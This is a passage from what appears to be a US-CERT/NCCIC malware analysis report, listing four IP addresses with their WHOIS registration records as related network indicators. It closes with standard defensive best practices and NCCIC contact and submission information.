Relationships

111.207.78.204

Ports

• 443 TCP

Whois

inetnum:        111.192.0.0 - 111.207.255.255
netname:        UNICOM-BJ
descr:         China Unicom Beijing province network
descr:         China Unicom
country:        CN
admin-c:        CH1302-AP
tech-c:         SY21-AP
remarks:        service provider
mnt-by:         APNIC-HM
mnt-lower:     MAINT-CNCGROUP
mnt-lower:     MAINT-CNCGROUP-BJ
mnt-routes:     MAINT-CNCGROUP-RR
status:         ALLOCATED PORTABLE
mnt-irt:        IRT-CU-CN
last-modified: 2016-05-04T00:18:25Z
irt:            IRT-CU-CN
address:        No.21,Financial Street
address:        Beijing,100033
address:        P.R.China
e-mail:         hqs-ipabuse@chinaunicom.cn
abuse-mailbox: hqs-ipabuse@chinaunicom.cn
admin-c:        CH1302-AP
tech-c:         CH1302-AP
auth:         # Filtered
mnt-by:         MAINT-CNCGROUP
last-modified: 2017-10-23T05:59:13Z
person:         ChinaUnicom Hostmaster
nic-hdl:        CH1302-AP
e-mail:         hqs-ipabuse@chinaunicom.cn
address:        No.21,Jin-Rong Street
address:        Beijing,100033
address:        P.R.China
phone:         +86-10-66259764
fax-no:         +86-10-66259764
country:        CN
mnt-by:         MAINT-CNCGROUP
last-modified: 2017-08-17T06:13:16Z
person:         sun ying
address:        fu xing men nei da jie 97, Xicheng District
address:        Beijing 100800
country:        CN
phone:         +86-10-66030657
fax-no:         +86-10-66078815
e-mail:         hostmast@publicf.bta.net.cn
nic-hdl:        SY21-AP
mnt-by:         MAINT-CNCGROUP-BJ
last-modified: 2009-06-30T08:42:48Z
source:         APNIC

Relationships

80.91.118.45

Ports

• 443 TCP

Whois

inetnum:        80.91.118.0 - 80.91.119.255
netname:        Abissnet
descr:         Business Customers
country:        AL
admin-c:        AB34506-RIPE
tech-c:         AB34506-RIPE
status:         ASSIGNED PA
mnt-by:         AS35047-MNT
created:        2014-10-24T10:09:33Z
last-modified: 2016-06-09T09:47:15Z
source:         RIPE
role:         Abissnet BBone
address:        Rr. Ismail Qemali, P. Abissnet
e-mail:         bbone@abissnet.al
abuse-mailbox: bbone@abissnet.al
nic-hdl:        AB34506-RIPE
mnt-by:         AS35047-MNT
created:        2016-06-09T08:09:15Z
last-modified: 2016-06-09T08:41:05Z
source:         RIPE

% Information related to '80.91.118.0/24AS35047'

route:         80.91.118.0/24
descr:         Abissnet ISP
origin:         AS35047
mnt-by:         AS35047-MNT
created:        2011-02-27T10:24:58Z
last-modified: 2011-02-27T10:24:58Z
source:         RIPE

Relationships

181.119.19.56

Ports

• 443 TCP

Whois

NetRange:     181.0.0.0 - 181.255.255.255
CIDR:         181.0.0.0/8
NetName:        LACNIC-181
NetHandle:     NET-181-0-0-0-0
Parent:         ()
NetType:        Allocated to LACNIC
OriginAS:    
Organization: Latin American and Caribbean IP address Regional Registry (LACNIC)
RegDate:        1993-04-30
Updated:        2010-07-21
Comment:        This IP address range is under LACNIC responsibility
Comment:        for further allocations to users in LACNIC region.
Comment:        Please see http://www.lacnic.net/ for further details,
Comment:        or check the WHOIS server located at http://whois.lacnic.net
Ref:            https://whois.arin.net/rest/net/NET-181-0-0-0-0
OrgName:        Latin American and Caribbean IP address Regional Registry
OrgId:         LACNIC
Address:        Rambla Republica de Mexico 6125
City:         Montevideo
StateProv:    
PostalCode:     11400
Country:        UY
RegDate:        2002-07-26
Updated:        2018-03-15
Ref:            https://whois.arin.net/rest/org/LACNIC

Relationships

59.90.93.97

Ports

• 443 TCP

Whois

inetnum:        59.90.64.0 - 59.90.127.255
netname:        BB-Multiplay
descr:         O/o DGM BB, NOC BSNL Bangalore
country:        IN
admin-c:        BH155-AP
tech-c:         DB374-AP
status:         ASSIGNED NON-PORTABLE
mnt-by:         MAINT-IN-DOT
mnt-irt:        IRT-BSNL-IN
last-modified: 2011-02-18T09:27:20Z
source:         APNIC

irt:            IRT-BSNL-IN
address:        Internet Cell
address:        Bharat Sanchar Nigam Limited
address:        8th Floor,148-B Statesman House
address:        Barakhamba Road, New Delhi - 110 001
e-mail:         abuse@bsnl.in
abuse-mailbox: abuse@bsnl.in
admin-c:        NC83-AP
tech-c:         CGMD1-AP
auth:         # Filtered
mnt-by:         MAINT-IN-DOT
last-modified: 2017-10-20T05:42:50Z
source:         APNIC

person:         BSNL Hostmaster
nic-hdl:        BH155-AP
e-mail:         hostmaster@bsnl.in
address:        Broadband Networks
address:        Bharat Sanchar Nigam Limited
address:        2nd Floor, Telephone Exchange, Sector 62
address:        Noida
phone:         +91-120-2404243
fax-no:         +91-120-2404241
country:        IN
mnt-by:         MAINT-IN-PER-DOT
last-modified: 2015-11-12T06:00:14Z
person:         DGM Broadband
address:        BSNL NOC Bangalore
country:        IN
phone:         +91-080-25805800
fax-no:         +91-080-25800022
e-mail:         dnwplg@bsnl.in
nic-hdl:        DB374-AP
mnt-by:         MAINT-IN-PER-DOT
last-modified: 2011-02-19T10:03:44Z
source:         APNIC

% Information related to '59.90.80.0/20AS9829'

route:         59.90.80.0/20
descr:         BSNL Internet
country:        IN
origin:         AS9829
mnt-lower:     MAINT-IN-DOT
mnt-routes:     MAINT-IN-DOT
mnt-by:         MAINT-IN-AS9829
last-modified: 2008-09-04T07:54:47Z
source:         APNIC

Relationships

NCCIC would like to remind users and administrators to consider using the following best practices to strengthen the security posture of their organization's systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.

• Maintain up-to-date antivirus signatures and engines.
• Keep operating system patches up-to-date.
• Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
• Restrict users' ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
• Enforce a strong password policy and implement regular password changes.
• Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
• Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
• Disable unnecessary services on agency workstations and servers.
• Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its "true file type" (i.e., the extension matches the file header).
• Monitor users' web browsing habits; restrict access to sites with unfavorable content.
• Exercise caution when using removable media (e.g., USB thumbdrives, external drives, CDs, etc.).
• Scan all software downloaded from the Internet prior to executing.
• Maintain situational awareness of the latest threats and implement appropriate ACLs.

Additional information on malware incident prevention and handling can be found in NIST's Special Publication 800-83, Guide to Malware Incident Prevention & Handling for Desktops and Laptops.

• 1-888-282-0870
• NCCICCustomerService@us-cert.gov (UNCLASS)
• us-cert@dhs.sgov.gov (SIPRNET)
• us-cert@dhs.ic.gov (JWICS)

NCCIC continuously strives to improve its products and services. You can help by answering a very short series of questions about this product at the following URL: https://us-cert.gov/forms/feedback/

What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact US-CERT and provide information regarding the level of desired analysis.

What is a MAR? A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual reverse engineering. To request additional analysis, please contact US-CERT and provide information regarding the level of desired analysis.

Can I edit this document? This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to the NCCIC at 1-888-282-0870 or soc@us-cert.gov.

Can I submit malware to NCCIC? Malware samples can be submitted via three methods:

• Web: https://malware.us-cert.gov
• E-Mail: submit@malware.us-cert.gov
• FTP: ftp.malware.us-cert.gov (anonymous)

NCCIC encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on US-CERT's homepage at www.us-cert.gov.